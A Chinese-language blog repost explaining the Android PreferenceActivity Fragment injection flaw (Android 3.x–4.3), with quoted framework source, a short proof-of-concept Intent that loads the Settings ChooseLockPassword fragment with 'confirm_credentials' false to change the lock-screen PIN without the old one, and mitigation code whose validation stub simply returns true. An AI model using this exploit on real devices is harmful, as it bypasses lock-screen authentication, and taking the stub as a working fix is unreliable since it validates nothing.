生活随笔
收集整理的這篇文章主要介紹了
Android框架攻击之Fragment注入
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
為了適應越來越大的設備屏幕,Android在3.X后引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。關于Fragment的使用說明,可以閱讀《Android Fragment完全解析,關于碎片你所需知道的一切》。其中,Fragment有一個很強大的功能,就是可以動態加載。這樣可以讓整個界面的開發更加靈活,可以根據不同的場景動態加加載不同的Activity。
回到今天的主題——利用Fragment實現注入攻擊。從3.X后,android工程師重構PreferenceActivity的實現,采用Fragment實現界面的加載。通過閱讀源碼可以發現,PreferenceActivity的onCreate里,需要讀取Intent的多個extra內容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=":android:show_fragment"和EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",這兩個參數可以決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然后通過反射生成一個Fragment實例,并動態加載。關鍵源碼如下所示:
[java]?view plain
?copy ? mSinglePane?=?hidingHeaders?||?!onIsMultiPane();?? ????????String?initialFragment?=?getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);?? ???????Bundle?initialArguments?=?getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);?? ????????int?initialTitle?=?getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE,?0);?? ????????int?initialShortTitle?=?getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE,?0);??
先獲取initalFragment和initialArguments兩個參數,之后在switchToHeaderInner里完成實例化:
[java]?view plain
?copy ? private?void?switchToHeaderInner(String?fragmentName,?Bundle?args,?int?direction)?{?? ????????getFragmentManager().popBackStack(BACK_STACK_PREFS,?? ????????????????FragmentManager.POP_BACK_STACK_INCLUSIVE);?? ????????Fragment?f?=?Fragment.instantiate(this,?fragmentName,?args);?? ????????FragmentTransaction?transaction?=?getFragmentManager().beginTransaction();?? ????????transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);?? ????????transaction.replace(com.android.internal.R.id.prefs,?f);?? ????????transaction.commitAllowingStateLoss();?? ????}??
到此為止,我們可以通過設置Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment。
我們知道,在Android系統里,App與App是互相隔離的,互相之間不能訪問對方的私有數據。App與App之間(更準確地說應該是組件與組件之間)的通訊,統一使用Intent。通過Intent可以很方便的喚起其他App的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈里分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的。
結合上面的兩個關鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,并通過精心設置Intent的extral的值,以實現打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?
Setting幾乎每個Android設備都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據之前傳入的initialArguments做不同的邏輯,關鍵代碼如下所示:
[java]?view plain
?copy ? Intent?intent?=?getActivity().getIntent();?? ???????????final?boolean?confirmCredentials?=?intent.getBooleanExtra("confirm_credentials",?true);?? ???????????if?(savedInstanceState?==?null)?{?? ???????????????updateStage(Stage.Introduction);?? ???????????????if?(confirmCredentials)?{?? ???????????????????mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,?? ???????????????????????????null,?null);?? ???????????????}?? ???????????}?else?{?? ???????????????mFirstPin?=?savedInstanceState.getString(KEY_FIRST_PIN);?? ???????????????final?String?state?=?savedInstanceState.getString(KEY_UI_STAGE);?? ???????????????if?(state?!=?null)?{?? ???????????????????mUiStage?=?Stage.valueOf(state);?? ???????????????????updateStage(mUiStage);?? ???????????????}?? ???????????}??
如果傳入的參數當中,key為"confirm_credentials"為true,就會調起舊密碼驗證的流程。如果為false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:
[java]?view plain
?copy ? Intent?intent?=?new?Intent();?? ????????intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);?? ????????intent.setClassName("com.android.settings",?"com.android.settings.Settings");?? ????????intent.putExtra(":android:show_fragment",?"com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");?? ????????intent.putExtra("confirm_credentials",?false);?? ?? ????????startActivity(intent);??
正常的密碼修改流程是"設置"->"安全"->"屏幕鎖定"->"確認你的PIN",如所下圖所示:
如果運行DEMO,則直接進入如下界面:
這樣你直接輸入密碼,就可以把原來的密碼覆蓋掉了。
這個BUG存在于3.X到4.3中的所有版本,4.4已經fix了。4.4強制所有PreferenceActivity必須要實現isValidFragment方法,詳細見這里
個人總結:
應該說,這種修復方式,只是起到一個提醒的作用,最終的安全還是交由開發者承擔。另外,目前很多應用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子類都補充加上isValidFragment方法就可以了。但對于4.4之前的版,如果存在這種權限泄露的問題,還是需要單獨處理的。下面給出兼容2.X~4.4修復的代碼示例:
[java]?view plain
?copy ? public?final?class?MyPreferenceActivity?extends?PreferenceActivity?{?? ?????? ????private?boolean?doValidcheck(String?fragmentName)?throws?IllegalArgumentException{?? ?????????? ?????????? ????????return?true;?? ????}?? ?????? ?????? ????protected?boolean?isValidFragment(String?fragmentName)?{?? ????????return?doValidcheck(fragmentName);?? ????}?? ?????? ????@Override?? ????protected?void?onCreate(Bundle?savedInstanceState)?{?? ?????????? ????????String?fragmentname?=?getIntent().getStringExtra(":android:show_fragment");?? ????????doValidcheck(fragmentname);?? ?? ????????super.onCreate(savedInstanceState);?? ????}?? }??
原文地址: http://blog.csdn.net/l173864930/article/details/17279165
總結
以上是生活随笔為你收集整理的Android框架攻击之Fragment注入的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。